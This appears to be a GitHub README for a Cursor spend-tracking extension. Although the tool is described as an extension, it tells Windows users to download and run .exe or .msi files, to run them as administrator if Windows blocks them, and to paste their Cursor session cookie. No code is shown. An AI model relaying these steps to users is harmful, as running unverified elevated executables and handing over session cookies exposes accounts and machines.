📈 cursor-spend-tracker - See Cursor spend at a glance

🧭 What this app does

Cursor Spend Tracker shows your Cursor on-demand spend in the status bar. It also shows daily usage details in a tooltip. It helps you keep an eye on cost while you work.

This app is for Cursor, not plain VS Code.

✨ What you can see

• Current on-demand spend in the status bar
• Today’s spend
• Yesterday’s spend
• Usage from the last 2 hours
• Included quota use
• Alerts for costly requests
• Auto-refresh on a set interval
• Manual session cookie setup if needed

🪟 Windows download and install

Use this link to visit the page to download:

Visit the download page

If the page opens in your browser, look for the latest release or download files on the page.

Steps for Windows

1. Open the download page.
2. Find the latest release or build file.
3. Download the Windows file.
4. If the file is a ZIP file, extract it first.
5. If the file is an EXE file, double-click it to run it.
6. If Windows asks for permission, select Yes.
7. Open Cursor after the app is installed or added.

⚙️ How to use it

1. Start Cursor.
2. Open the extension or app from the installed files.
3. Sign in to Cursor if the app asks for your session info.
4. Check the status bar for your current spend.
5. Hover over the spend display to see more details.

🔧 Setup

If the app needs a session cookie, add it when prompted.

If auto-detection does not work, you can paste the cookie by hand.

Typical setup flow:

1. Open Cursor.
2. Start the tracker.
3. Enter your session cookie if asked.
4. Wait a few minutes for the first update.

📊 What the status bar shows

The status bar gives you a quick view of your spend.

You may see:

• Current on-demand cost
• A change in cost after each request
• A warning for high-cost requests
• A refresh state when data updates

🔔 Alerts for expensive requests

The tracker can flag requests that cost more than a set amount.

Default threshold:

• More than $2 per request

You can change this if you want a lower or higher alert point.

🔄 Refresh behavior

The app checks for updates on a schedule.

Default interval:

• Every 5 minutes

This keeps the spend data current without too many checks.

🧾 Included quota tracking

Cursor plans can include request quota.

This tracker can help you watch that quota use so you know how much is left.

It can be useful when you want to avoid extra on-demand charges.

🖱️ Tooltip details

Hover over the status bar item to see more data.

The tooltip can show:

• Today’s spend
• Yesterday’s spend
• Last 2 hours of usage
• Quota use
• Recent request details

🧰 Common use cases

• Track spend during long coding sessions
• Watch cost while testing prompts
• Spot expensive requests
• Keep an eye on quota use
• Check daily usage without opening another tool

📁 File types you may see

You may get one of these file types:

• .exe for direct run on Windows
• .zip for a packed folder
• .msi for a standard Windows installer

If you see a ZIP file, extract it before you open the app.

If you see an EXE or MSI file, run it from the Downloads folder.

🛡️ Privacy and account data

The app may use your session cookie to read Cursor data tied to your account.

Keep that cookie private.

Do not share it with others.

🧪 Basic troubleshooting

If the spend does not show up:

1. Make sure Cursor is open
2. Check that the tracker is running
3. Wait a few minutes for the first refresh
4. Enter the session cookie again if asked
5. Restart Cursor if the status bar stays blank

If the data looks old:

1. Wait for the next refresh
2. Check your internet connection
3. Restart the tracker

If the app does not start:

1. Re-download the file
2. Make sure the file finished downloading
3. Run it again as an administrator if Windows blocks it

🖥️ System needs

You will need:

• Windows 10 or Windows 11
• Cursor installed
• Internet access
• A Cursor account with spend data

A modern Windows PC with standard settings should work well.

📌 Typical first run

1. Download the app from the GitHub page
2. Open the file in Windows
3. Allow the app to run
4. Open Cursor
5. Wait for the tracker to read your spend
6. Check the status bar and tooltip

📦 What is included

This repository includes:

• The Cursor Spend Tracker app
• A status bar view
• Spend tracking for on-demand usage
• Daily usage details
• Quota tracking
• Cost alerts
• Refresh logic

🛠️ Advanced settings

You can change a few settings if you want more control:

• Alert threshold for costly requests
• Refresh interval
• Cookie input method
• Display behavior in the status bar

Use the app settings panel if it is available in your build

🧭 If you want to remove it

To remove the app from Windows:

1. Close Cursor
2. Close the tracker
3. Delete the app folder or uninstall it from Windows
4. Remove any saved session data if you no longer want it kept

📄 License

MIT